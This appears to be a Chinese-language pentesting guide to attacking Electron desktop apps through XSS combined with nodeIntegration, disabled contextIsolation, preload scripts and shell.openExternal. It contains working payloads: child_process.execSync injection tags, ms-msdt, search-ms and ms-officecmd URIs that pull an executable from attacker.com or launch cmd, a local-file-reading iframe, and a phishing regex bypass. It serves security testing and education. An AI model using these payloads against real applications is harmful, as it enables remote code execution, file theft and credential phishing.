介绍
Electron 结合了本地后端(使用 NodeJS )和前端(Chromium ),尽管它缺乏现代浏览器的一些安全机制。
通常你可能会在 .asar
应用程序中找到 Electron 应用代码,获取代码需要提取它:
Copy npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
在 Electron 应用的源代码中,在 packet.json
文件内,可以找到指定的 main.js
文件,其中设置了安全配置。
Copy {
"name" : "standard-notes" ,
"main" : "./app/index.js" ,
Electron 有 2 种进程类型:
渲染进程(出于安全原因,NodeJS 应该受到限制访问)
一个 渲染进程 将是一个加载文件的浏览器窗口:
Copy const { BrowserWindow } = require ( 'electron' );
let win = new BrowserWindow ();
//Open Renderer Process
win .loadURL ( `file://path/to/index.html` );
设置 renderer process 可以在 main process 的 main.js 文件中 配置 。一些配置将 防止 Electron 应用程序获得 RCE 或其他漏洞,如果 设置正确配置 。
Electron 应用程序 可以通过 Node API 访问设备 ,尽管可以配置以防止它:
nodeIntegration
- 默认情况下为 off
。如果开启,允许从 renderer process 访问 Node 特性。
contextIsolation
- 默认情况下为 on
。如果关闭,主进程和渲染进程不被隔离。
sandbox
- 默认情况下为 off。它将限制 NodeJS 可以执行的操作。
nodeIntegrationInSubframes
- 默认情况下为 off
。
如果 nodeIntegration
被 启用 ,这将允许在 Electron 应用程序中 加载在 iframe 中的网页 使用 Node.js API 。
如果 nodeIntegration
被 禁用 ,则预加载将在 iframe 中加载。
配置示例:
Copy const mainWindowOptions = {
title : 'Discord' ,
backgroundColor : getBackgroundColor () ,
width : DEFAULT_WIDTH ,
height : DEFAULT_HEIGHT ,
minWidth : MIN_WIDTH ,
minHeight : MIN_HEIGHT ,
transparent : false ,
frame : false ,
resizable : true ,
show : isVisible ,
webPreferences : {
blinkFeatures : 'EnumerateDevices,AudioOutputDevices' ,
nodeIntegration : false ,
contextIsolation : false ,
sandbox : false ,
nodeIntegrationInSubFrames : false ,
preload : _path2 . default .join (__dirname , 'mainScreenPreload.js' ) ,
nativeWindowOpen : true ,
enableRemoteModule : false ,
spellcheck : true
}
};
一些 RCE payloads 来自 这里 :
Copy Example Payloads (Windows):
< img src = x onerror = " alert ( require ('child_process') .execSync ('calc') .toString ());" >
Example Payloads (Linux & MacOS):
< img src = x onerror = " alert ( require ('child_process') .execSync ('gnome-calculator') .toString ());" >
< img src = x onerror = " alert ( require ('child_process') .execSync ('/System/Applications/Calculator.app/Contents/MacOS/Calculator') .toString ());" >
< img src = x onerror = " alert ( require ('child_process') .execSync ('id') .toString ());" >
< img src = x onerror = " alert ( require ('child_process') .execSync ('ls -l') .toString ());" >
< img src = x onerror = " alert ( require ('child_process') .execSync ('uname -a') .toString ());" >
捕获流量
修改 start-main 配置并添加使用代理,例如:
Copy "start-main" : "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors" ,
Electron 本地代码注入
如果您可以本地执行一个 Electron 应用程序,那么您可能可以使其执行任意的 JavaScript 代码。请查看如何操作:
RCE: XSS + nodeIntegration
如果 nodeIntegration 设置为 on ,网页的 JavaScript 可以轻松使用 Node.js 功能,只需调用 require()
。例如,在 Windows 上执行计算器应用程序的方法是:
Copy < script >
require ( 'child_process' ) .exec ( 'calc' );
// or
top .require ( 'child_process' ) .exec ( 'open /System/Applications/Calculator.app' );
</ script >
RCE: preload
在此设置中指示的脚本是在渲染器中加载其他脚本之前 ,因此它具有对 Node API 的无限访问权限 :
Copy new BrowserWindow{
webPreferences : {
nodeIntegration : false ,
preload : _path2 . default .join (__dirname , 'perload.js' ) ,
}
});
因此,脚本可以将 node-features 导出到页面:
Copy typeof require === 'function' ;
window . runCalc = function (){
require ( 'child_process' ) .exec ( 'calc' )
};
Copy < body >
< script >
typeof require === 'undefined' ;
runCalc ();
</ script >
</ body >
如果 contextIsolation
开启,这将不起作用
RCE: XSS + contextIsolation
contextIsolation 引入了 网页脚本与 JavaScript Electron 内部代码之间的分离上下文 ,使得每段代码的 JavaScript 执行不会相互影响。这是消除 RCE 可能性的必要特性。
如果上下文没有被隔离,攻击者可以:
在渲染器中执行 任意 JavaScript (XSS 或导航到外部网站)
覆盖内置方法 ,该方法用于预加载或 Electron 内部代码,替换为自己的函数
内置方法可以被覆盖的地方有两个:在预加载代码中或在 Electron 内部代码中:
绕过点击事件
如果在点击链接时有限制,您可能能够通过 中间点击 而不是常规的左键点击来绕过这些限制。
Copy window .addEventListener ( 'click' , (e) => {
RCE via shell.openExternal
有关此示例的更多信息,请查看 https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 和 https://benjamin-altpeter.de/shell-openexternal-dangers/
在部署 Electron 桌面应用程序时,确保 nodeIntegration
和 contextIsolation
的正确设置至关重要。已确定,针对预加载脚本或 Electron 的主进程本机代码的客户端远程代码执行 (RCE) 在这些设置到位时得到了有效防止。
当用户与链接互动或打开新窗口时,会触发特定的事件监听器,这对应用程序的安全性和功能至关重要:
Copy webContents .on ( "new-window" , function (event , url , disposition , options) {}
webContents .on ( "will-navigate" , function (event , url) {}
这些监听器被桌面应用程序重写 以实现其自己的业务逻辑 。应用程序评估导航链接是否应该在内部打开或在外部网页浏览器中打开。这个决定通常通过一个函数openInternally
来做。如果这个函数返回false
,则表示链接应该在外部打开,利用shell.openExternal
函数。
以下是简化的伪代码:
Electron JS安全最佳实践建议不要使用openExternal
函数接受不受信任的内容,因为这可能通过各种协议导致RCE。操作系统支持不同的协议,这些协议可能触发RCE。有关此主题的详细示例和进一步解释,可以参考这个资源 ,其中包括能够利用此漏洞的Windows协议示例。
Windows协议利用的示例包括:
Copy < script >
window .open ( "ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22" )
</ script >
< script >
window .open ( "search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update" )
</ script >
< script >
window .open ( "ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D" )
</ script >
读取内部文件:XSS + contextIsolation
禁用 contextIsolation
使得可以使用 <webview>
标签 ,类似于 <iframe>
,用于读取和提取本地文件。提供的示例演示了如何利用此漏洞读取内部文件的内容:
此外,还分享了另一种读取内部文件 的方法,强调了 Electron 桌面应用中的一个关键本地文件读取漏洞。这涉及注入脚本以利用该应用并提取数据:
Copy < br >< BR >< BR >< BR >
< h1 >pwn< br >
< iframe onload = j () src = "/etc/hosts" >xssxsxxsxs</ iframe >
< script type = "text/javascript" >
function j (){ alert ( 'pwned contents of /etc/hosts :\n\n ' + frames[ 0 ]. document . body .innerText)}
</ script >
RCE: XSS + 旧版 Chromium
如果应用程序使用的 chromium 是 旧版 并且存在 已知的 漏洞 ,那么可能通过 XSS 利用它并获得 RCE 。
您可以在这个 writeup 中看到一个例子: https://blog.electrovolt.io/posts/discord-rce/
通过内部 URL 正则绕过进行 XSS 钓鱼
假设您发现了一个 XSS,但您 无法触发 RCE 或窃取内部文件 ,您可以尝试利用它来 通过钓鱼窃取凭据 。
首先,您需要了解当您尝试打开一个新 URL 时,前端的 JS 代码会发生什么:
Copy webContents .on ( "new-window" , function (event , url , disposition , options) {} // opens the custom openInternally function (it is declared below)
webContents .on ( "will-navigate" , function (event , url) {} // opens the custom openInternally function (it is declared below)
调用 openInternally
将决定 链接 是否在 桌面窗口 中 打开 ,因为它是属于平台的链接,或者 是否在 浏览器中作为第三方资源 打开。
如果该函数使用的 regex 易受绕过攻击 (例如 未转义子域的点 ),攻击者可以利用 XSS 打开一个新窗口 ,该窗口位于攻击者的基础设施中 请求用户凭据 :
Copy < script >
window .open ( "<http://subdomainagoogleq.com/index.html>" )
</ script >
工具
Electrolint 是一个开源的 VS Code 插件,用于 Electron 应用程序,使用 Electronegativity。
实验室
在 https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s 中,你可以找到一个利用易受攻击的 Electron 应用程序的实验室。
一些将帮助你完成实验室的命令:
Copy # Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
参考文献